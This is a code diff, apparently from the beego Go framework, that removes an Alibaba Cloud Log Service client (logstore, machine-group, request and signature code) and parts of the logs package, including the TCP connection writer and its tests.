// GetAppliedMachineGroups returns applied machine group names list according config name.
|
||||
func (p *LogProject) GetAppliedMachineGroups(confName string) (groupNames []string, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/configs/%v/machinegroups", confName)
|
||||
r, err := request(p, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to get applied machine groups")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
type Body struct {
|
||||
Count int
|
||||
Machinegroups []string
|
||||
}
|
||||
|
||||
body := &Body{}
|
||||
err = json.Unmarshal(buf, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
groupNames = body.Machinegroups
|
||||
return
|
||||
}
|
||||
|
||||
// GetAppliedConfigs returns applied config names list according machine group name groupName.
|
||||
func (p *LogProject) GetAppliedConfigs(groupName string) (confNames []string, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/machinegroups/%v/configs", groupName)
|
||||
r, err := request(p, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to applied configs")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
type Cfg struct {
|
||||
Count int `json:"count"`
|
||||
Configs []string `json:"configs"`
|
||||
}
|
||||
|
||||
body := &Cfg{}
|
||||
err = json.Unmarshal(buf, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
confNames = body.Configs
|
||||
return
|
||||
}
|
||||
|
||||
// ApplyConfigToMachineGroup applies config to machine group.
|
||||
func (p *LogProject) ApplyConfigToMachineGroup(confName, groupName string) (err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/machinegroups/%v/configs/%v", groupName, confName)
|
||||
r, err := request(p, "PUT", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to apply config to machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// RemoveConfigFromMachineGroup removes config from machine group.
|
||||
func (p *LogProject) RemoveConfigFromMachineGroup(confName, groupName string) (err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/machinegroups/%v/configs/%v", groupName, confName)
|
||||
r, err := request(p, "DELETE", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to remove config from machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,270 +0,0 @@
|
||||
package alils
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"strconv"
|
||||
|
||||
lz4 "github.com/cloudflare/golz4"
|
||||
"github.com/gogo/protobuf/proto"
|
||||
)
|
||||
|
||||
// LogStore stores the logs
|
||||
type LogStore struct {
|
||||
Name string `json:"logstoreName"`
|
||||
TTL int
|
||||
ShardCount int
|
||||
|
||||
CreateTime uint32
|
||||
LastModifyTime uint32
|
||||
|
||||
project *LogProject
|
||||
}
|
||||
|
||||
// Shard defines the Log Shard
|
||||
type Shard struct {
|
||||
ShardID int `json:"shardID"`
|
||||
}
|
||||
|
||||
// ListShards returns shard id list of this logstore.
|
||||
func (s *LogStore) ListShards() (shardIDs []int, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/logstores/%v/shards", s.Name)
|
||||
r, err := request(s.project, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to list logstore")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Println(dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
var shards []*Shard
|
||||
err = json.Unmarshal(buf, &shards)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, v := range shards {
|
||||
shardIDs = append(shardIDs, v.ShardID)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PutLogs puts logs into logstore.
|
||||
// The callers should transform user logs into LogGroup.
|
||||
func (s *LogStore) PutLogs(lg *LogGroup) (err error) {
|
||||
body, err := proto.Marshal(lg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Compresse body with lz4
|
||||
out := make([]byte, lz4.CompressBound(body))
|
||||
n, err := lz4.Compress(body, out)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-compresstype": "lz4",
|
||||
"x-sls-bodyrawsize": fmt.Sprintf("%v", len(body)),
|
||||
"Content-Type": "application/x-protobuf",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/logstores/%v", s.Name)
|
||||
r, err := request(s.project, "POST", uri, h, out[:n])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to put logs")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Println(dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// GetCursor gets log cursor of one shard specified by shardID.
|
||||
// The from can be in three form: a) unix timestamp in seccond, b) "begin", c) "end".
|
||||
// For more detail please read: http://gitlab.alibaba-inc.com/sls/doc/blob/master/api/shard.md#logstore
|
||||
func (s *LogStore) GetCursor(shardID int, from string) (cursor string, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/logstores/%v/shards/%v?type=cursor&from=%v",
|
||||
s.Name, shardID, from)
|
||||
|
||||
r, err := request(s.project, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to get cursor")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Println(dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
type Body struct {
|
||||
Cursor string
|
||||
}
|
||||
body := &Body{}
|
||||
|
||||
err = json.Unmarshal(buf, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cursor = body.Cursor
|
||||
return
|
||||
}
|
||||
|
||||
// GetLogsBytes gets logs binary data from shard specified by shardID according cursor.
|
||||
// The logGroupMaxCount is the max number of logGroup could be returned.
|
||||
// The nextCursor is the next curosr can be used to read logs at next time.
|
||||
func (s *LogStore) GetLogsBytes(shardID int, cursor string,
|
||||
logGroupMaxCount int) (out []byte, nextCursor string, err error) {
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
"Accept": "application/x-protobuf",
|
||||
"Accept-Encoding": "lz4",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/logstores/%v/shards/%v?type=logs&cursor=%v&count=%v",
|
||||
s.Name, shardID, cursor, logGroupMaxCount)
|
||||
|
||||
r, err := request(s.project, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to get cursor")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Println(dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
v, ok := r.Header["X-Sls-Compresstype"]
|
||||
if !ok || len(v) == 0 {
|
||||
err = fmt.Errorf("can't find 'x-sls-compresstype' header")
|
||||
return
|
||||
}
|
||||
if v[0] != "lz4" {
|
||||
err = fmt.Errorf("unexpected compress type:%v", v[0])
|
||||
return
|
||||
}
|
||||
|
||||
v, ok = r.Header["X-Sls-Cursor"]
|
||||
if !ok || len(v) == 0 {
|
||||
err = fmt.Errorf("can't find 'x-sls-cursor' header")
|
||||
return
|
||||
}
|
||||
nextCursor = v[0]
|
||||
|
||||
v, ok = r.Header["X-Sls-Bodyrawsize"]
|
||||
if !ok || len(v) == 0 {
|
||||
err = fmt.Errorf("can't find 'x-sls-bodyrawsize' header")
|
||||
return
|
||||
}
|
||||
bodyRawSize, err := strconv.Atoi(v[0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
out = make([]byte, bodyRawSize)
|
||||
err = lz4.Uncompress(buf, out)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// LogsBytesDecode decodes logs binary data retruned by GetLogsBytes API
|
||||
func LogsBytesDecode(data []byte) (gl *LogGroupList, err error) {
|
||||
gl = &LogGroupList{}
|
||||
err = proto.Unmarshal(data, gl)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// GetLogs gets logs from shard specified by shardID according cursor.
|
||||
// The logGroupMaxCount is the max number of logGroup could be returned.
|
||||
// The nextCursor is the next curosr can be used to read logs at next time.
|
||||
func (s *LogStore) GetLogs(shardID int, cursor string,
|
||||
logGroupMaxCount int) (gl *LogGroupList, nextCursor string, err error) {
|
||||
|
||||
out, nextCursor, err := s.GetLogsBytes(shardID, cursor, logGroupMaxCount)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
gl, err = LogsBytesDecode(out)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,91 +0,0 @@
|
||||
package alils
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
)
|
||||
|
||||
// MachineGroupAttribute defines the Attribute
|
||||
type MachineGroupAttribute struct {
|
||||
ExternalName string `json:"externalName"`
|
||||
TopicName string `json:"groupTopic"`
|
||||
}
|
||||
|
||||
// MachineGroup defines the machine Group
|
||||
type MachineGroup struct {
|
||||
Name string `json:"groupName"`
|
||||
Type string `json:"groupType"`
|
||||
MachineIDType string `json:"machineIdentifyType"`
|
||||
MachineIDList []string `json:"machineList"`
|
||||
|
||||
Attribute MachineGroupAttribute `json:"groupAttribute"`
|
||||
|
||||
CreateTime uint32
|
||||
LastModifyTime uint32
|
||||
|
||||
project *LogProject
|
||||
}
|
||||
|
||||
// Machine defines the Machine
|
||||
type Machine struct {
|
||||
IP string
|
||||
UniqueID string `json:"machine-uniqueid"`
|
||||
UserdefinedID string `json:"userdefined-id"`
|
||||
}
|
||||
|
||||
// MachineList defines the Machine List
|
||||
type MachineList struct {
|
||||
Total int
|
||||
Machines []*Machine
|
||||
}
|
||||
|
||||
// ListMachines returns the machine list of this machine group.
|
||||
func (m *MachineGroup) ListMachines() (ms []*Machine, total int, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/machinegroups/%v/machines", m.Name)
|
||||
r, err := request(m.project, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to remove config from machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Println(dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
body := &MachineList{}
|
||||
err = json.Unmarshal(buf, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ms = body.Machines
|
||||
total = body.Total
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// GetAppliedConfigs returns applied configs of this machine group.
|
||||
func (m *MachineGroup) GetAppliedConfigs() (confNames []string, err error) {
|
||||
confNames, err = m.project.GetAppliedConfigs(m.Name)
|
||||
return
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package alils
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// request sends a request to SLS.
|
||||
func request(project *LogProject, method, uri string, headers map[string]string,
|
||||
body []byte) (resp *http.Response, err error) {
|
||||
|
||||
// The caller should provide 'x-sls-bodyrawsize' header
|
||||
if _, ok := headers["x-sls-bodyrawsize"]; !ok {
|
||||
err = fmt.Errorf("Can't find 'x-sls-bodyrawsize' header")
|
||||
return
|
||||
}
|
||||
|
||||
// SLS public request headers
|
||||
headers["Host"] = project.Name + "." + project.Endpoint
|
||||
headers["Date"] = nowRFC1123()
|
||||
headers["x-sls-apiversion"] = version
|
||||
headers["x-sls-signaturemethod"] = signatureMethod
|
||||
if body != nil {
|
||||
bodyMD5 := fmt.Sprintf("%X", md5.Sum(body))
|
||||
headers["Content-MD5"] = bodyMD5
|
||||
|
||||
if _, ok := headers["Content-Type"]; !ok {
|
||||
err = fmt.Errorf("Can't find 'Content-Type' header")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Calc Authorization
|
||||
// Authorization = "SLS <AccessKeyID>:<Signature>"
|
||||
digest, err := signature(project, method, uri, headers)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
auth := fmt.Sprintf("SLS %v:%v", project.AccessKeyID, digest)
|
||||
headers["Authorization"] = auth
|
||||
|
||||
// Initialize http request
|
||||
reader := bytes.NewReader(body)
|
||||
urlStr := fmt.Sprintf("http://%v.%v%v", project.Name, project.Endpoint, uri)
|
||||
req, err := http.NewRequest(method, urlStr, reader)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for k, v := range headers {
|
||||
req.Header.Add(k, v)
|
||||
}
|
||||
|
||||
// Get ready to do request
|
||||
resp, err = http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,111 +0,0 @@
|
||||
package alils
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GMT location
|
||||
var gmtLoc = time.FixedZone("GMT", 0)
|
||||
|
||||
// NowRFC1123 returns now time in RFC1123 format with GMT timezone,
|
||||
// eg. "Mon, 02 Jan 2006 15:04:05 GMT".
|
||||
func nowRFC1123() string {
|
||||
return time.Now().In(gmtLoc).Format(time.RFC1123)
|
||||
}
|
||||
|
||||
// signature calculates a request's signature digest.
|
||||
func signature(project *LogProject, method, uri string,
|
||||
headers map[string]string) (digest string, err error) {
|
||||
var contentMD5, contentType, date, canoHeaders, canoResource string
|
||||
var slsHeaderKeys sort.StringSlice
|
||||
|
||||
// SignString = VERB + "\n"
|
||||
// + CONTENT-MD5 + "\n"
|
||||
// + CONTENT-TYPE + "\n"
|
||||
// + DATE + "\n"
|
||||
// + CanonicalizedSLSHeaders + "\n"
|
||||
// + CanonicalizedResource
|
||||
|
||||
if val, ok := headers["Content-MD5"]; ok {
|
||||
contentMD5 = val
|
||||
}
|
||||
|
||||
if val, ok := headers["Content-Type"]; ok {
|
||||
contentType = val
|
||||
}
|
||||
|
||||
date, ok := headers["Date"]
|
||||
if !ok {
|
||||
err = fmt.Errorf("Can't find 'Date' header")
|
||||
return
|
||||
}
|
||||
|
||||
// Calc CanonicalizedSLSHeaders
|
||||
slsHeaders := make(map[string]string, len(headers))
|
||||
for k, v := range headers {
|
||||
l := strings.TrimSpace(strings.ToLower(k))
|
||||
if strings.HasPrefix(l, "x-sls-") {
|
||||
slsHeaders[l] = strings.TrimSpace(v)
|
||||
slsHeaderKeys = append(slsHeaderKeys, l)
|
||||
}
|
||||
}
|
||||
|
||||
sort.Sort(slsHeaderKeys)
|
||||
for i, k := range slsHeaderKeys {
|
||||
canoHeaders += k + ":" + slsHeaders[k]
|
||||
if i+1 < len(slsHeaderKeys) {
|
||||
canoHeaders += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
// Calc CanonicalizedResource
|
||||
u, err := url.Parse(uri)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
canoResource += url.QueryEscape(u.Path)
|
||||
if u.RawQuery != "" {
|
||||
var keys sort.StringSlice
|
||||
|
||||
vals := u.Query()
|
||||
for k := range vals {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
|
||||
sort.Sort(keys)
|
||||
canoResource += "?"
|
||||
for i, k := range keys {
|
||||
if i > 0 {
|
||||
canoResource += "&"
|
||||
}
|
||||
|
||||
for _, v := range vals[k] {
|
||||
canoResource += k + "=" + v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
signStr := method + "\n" +
|
||||
contentMD5 + "\n" +
|
||||
contentType + "\n" +
|
||||
date + "\n" +
|
||||
canoHeaders + "\n" +
|
||||
canoResource
|
||||
|
||||
// Signature = base64(hmac-sha1(UTF8-Encoding-Of(SignString),AccessKeySecret))
|
||||
mac := hmac.New(sha1.New, []byte(project.AccessKeySecret))
|
||||
_, err = mac.Write([]byte(signStr))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
digest = base64.StdEncoding.EncodeToString(mac.Sum(nil))
|
||||
return
|
||||
}
|
||||
@@ -1,141 +0,0 @@
|
||||
// Copyright 2014 beego Author. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
|
||||
"github.com/pkg/errors"
|
||||
)
|
||||
|
||||
// connWriter implements LoggerInterface.
|
||||
// Writes messages in keep-live tcp connection.
|
||||
type connWriter struct {
|
||||
lg *logWriter
|
||||
innerWriter io.WriteCloser
|
||||
formatter LogFormatter
|
||||
Formatter string `json:"formatter"`
|
||||
ReconnectOnMsg bool `json:"reconnectOnMsg"`
|
||||
Reconnect bool `json:"reconnect"`
|
||||
Net string `json:"net"`
|
||||
Addr string `json:"addr"`
|
||||
Level int `json:"level"`
|
||||
}
|
||||
|
||||
// NewConn creates new ConnWrite returning as LoggerInterface.
|
||||
func NewConn() Logger {
|
||||
conn := new(connWriter)
|
||||
conn.Level = LevelTrace
|
||||
conn.formatter = conn
|
||||
return conn
|
||||
}
|
||||
|
||||
func (c *connWriter) Format(lm *LogMsg) string {
|
||||
return lm.OldStyleFormat()
|
||||
}
|
||||
|
||||
// Init initializes a connection writer with json config.
|
||||
// json config only needs they "level" key
|
||||
func (c *connWriter) Init(config string) error {
|
||||
res := json.Unmarshal([]byte(config), c)
|
||||
if res == nil && len(c.Formatter) > 0 {
|
||||
fmtr, ok := GetFormatter(c.Formatter)
|
||||
if !ok {
|
||||
return errors.New(fmt.Sprintf("the formatter with name: %s not found", c.Formatter))
|
||||
}
|
||||
c.formatter = fmtr
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
func (c *connWriter) SetFormatter(f LogFormatter) {
|
||||
c.formatter = f
|
||||
}
|
||||
|
||||
// WriteMsg writes message in connection.
|
||||
// If connection is down, try to re-connect.
|
||||
func (c *connWriter) WriteMsg(lm *LogMsg) error {
|
||||
if lm.Level > c.Level {
|
||||
return nil
|
||||
}
|
||||
if c.needToConnectOnMsg() {
|
||||
err := c.connect()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if c.ReconnectOnMsg {
|
||||
defer c.innerWriter.Close()
|
||||
}
|
||||
|
||||
msg := c.formatter.Format(lm)
|
||||
|
||||
_, err := c.lg.writeln(msg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Flush implementing method. empty.
|
||||
func (c *connWriter) Flush() {
|
||||
}
|
||||
|
||||
// Destroy destroy connection writer and close tcp listener.
|
||||
func (c *connWriter) Destroy() {
|
||||
if c.innerWriter != nil {
|
||||
c.innerWriter.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func (c *connWriter) connect() error {
|
||||
if c.innerWriter != nil {
|
||||
c.innerWriter.Close()
|
||||
c.innerWriter = nil
|
||||
}
|
||||
|
||||
conn, err := net.Dial(c.Net, c.Addr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if tcpConn, ok := conn.(*net.TCPConn); ok {
|
||||
tcpConn.SetKeepAlive(true)
|
||||
}
|
||||
|
||||
c.innerWriter = conn
|
||||
c.lg = newLogWriter(conn)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *connWriter) needToConnectOnMsg() bool {
|
||||
if c.Reconnect {
|
||||
return true
|
||||
}
|
||||
|
||||
if c.innerWriter == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
return c.ReconnectOnMsg
|
||||
}
|
||||
|
||||
func init() {
|
||||
Register(AdapterConn, NewConn)
|
||||
}
|
||||
@@ -1,96 +0,0 @@
|
||||
// Copyright 2014 beego Author. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
// ConnTCPListener takes a TCP listener and accepts n TCP connections
|
||||
// Returns connections using connChan
|
||||
func connTCPListener(t *testing.T, n int, ln net.Listener, connChan chan<- net.Conn) {
|
||||
// Listen and accept n incoming connections
|
||||
for i := 0; i < n; i++ {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
t.Log("Error accepting connection: ", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Send accepted connection to channel
|
||||
connChan <- conn
|
||||
}
|
||||
ln.Close()
|
||||
close(connChan)
|
||||
}
|
||||
|
||||
func TestConn(t *testing.T) {
|
||||
log := NewLogger(1000)
|
||||
log.SetLogger("conn", `{"net":"tcp","addr":":7020"}`)
|
||||
log.Informational("informational")
|
||||
}
|
||||
|
||||
// need to rewrite this test, it's not stable
|
||||
func TestReconnect(t *testing.T) {
|
||||
// Setup connection listener
|
||||
newConns := make(chan net.Conn)
|
||||
connNum := 2
|
||||
ln, err := net.Listen("tcp", ":6002")
|
||||
if err != nil {
|
||||
t.Log("Error listening:", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
go connTCPListener(t, connNum, ln, newConns)
|
||||
|
||||
// Setup logger
|
||||
log := NewLogger(1000)
|
||||
log.SetPrefix("test")
|
||||
log.SetLogger(AdapterConn, `{"net":"tcp","reconnect":true,"level":6,"addr":":6002"}`)
|
||||
log.Informational("informational 1")
|
||||
|
||||
// Refuse first connection
|
||||
first := <-newConns
|
||||
first.Close()
|
||||
|
||||
// Send another log after conn closed
|
||||
log.Informational("informational 2")
|
||||
|
||||
// Check if there was a second connection attempt
|
||||
select {
|
||||
case second := <-newConns:
|
||||
second.Close()
|
||||
default:
|
||||
t.Error("Did not reconnect")
|
||||
}
|
||||
}
|
||||
|
||||
func TestConnWriter_Format(t *testing.T) {
|
||||
lg := &LogMsg{
|
||||
Level: LevelDebug,
|
||||
Msg: "Hello, world",
|
||||
When: time.Date(2020, 9, 19, 20, 12, 37, 9, time.UTC),
|
||||
FilePath: "/user/home/main.go",
|
||||
LineNumber: 13,
|
||||
Prefix: "Cus",
|
||||
}
|
||||
cw := NewConn().(*connWriter)
|
||||
res := cw.Format(lg)
|
||||
assert.Equal(t, "[D] Cus Hello, world", res)
|
||||
}
|
||||
@@ -1,125 +0,0 @@
|
||||
// Copyright 2014 beego Author. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/pkg/errors"
|
||||
"github.com/shiena/ansicolor"
|
||||
)
|
||||
|
||||
// brush is a color join function
|
||||
type brush func(string) string
|
||||
|
||||
// newBrush returns a fix color Brush
|
||||
func newBrush(color string) brush {
|
||||
pre := "\033["
|
||||
reset := "\033[0m"
|
||||
return func(text string) string {
|
||||
return pre + color + "m" + text + reset
|
||||
}
|
||||
}
|
||||
|
||||
var colors = []brush{
|
||||
newBrush("1;37"), // Emergency white
|
||||
newBrush("1;36"), // Alert cyan
|
||||
newBrush("1;35"), // Critical magenta
|
||||
newBrush("1;31"), // Error red
|
||||
newBrush("1;33"), // Warning yellow
|
||||
newBrush("1;32"), // Notice green
|
||||
newBrush("1;34"), // Informational blue
|
||||
newBrush("1;44"), // Debug Background blue
|
||||
}
|
||||
|
||||
// consoleWriter implements LoggerInterface and writes messages to terminal.
|
||||
type consoleWriter struct {
|
||||
lg *logWriter
|
||||
formatter LogFormatter
|
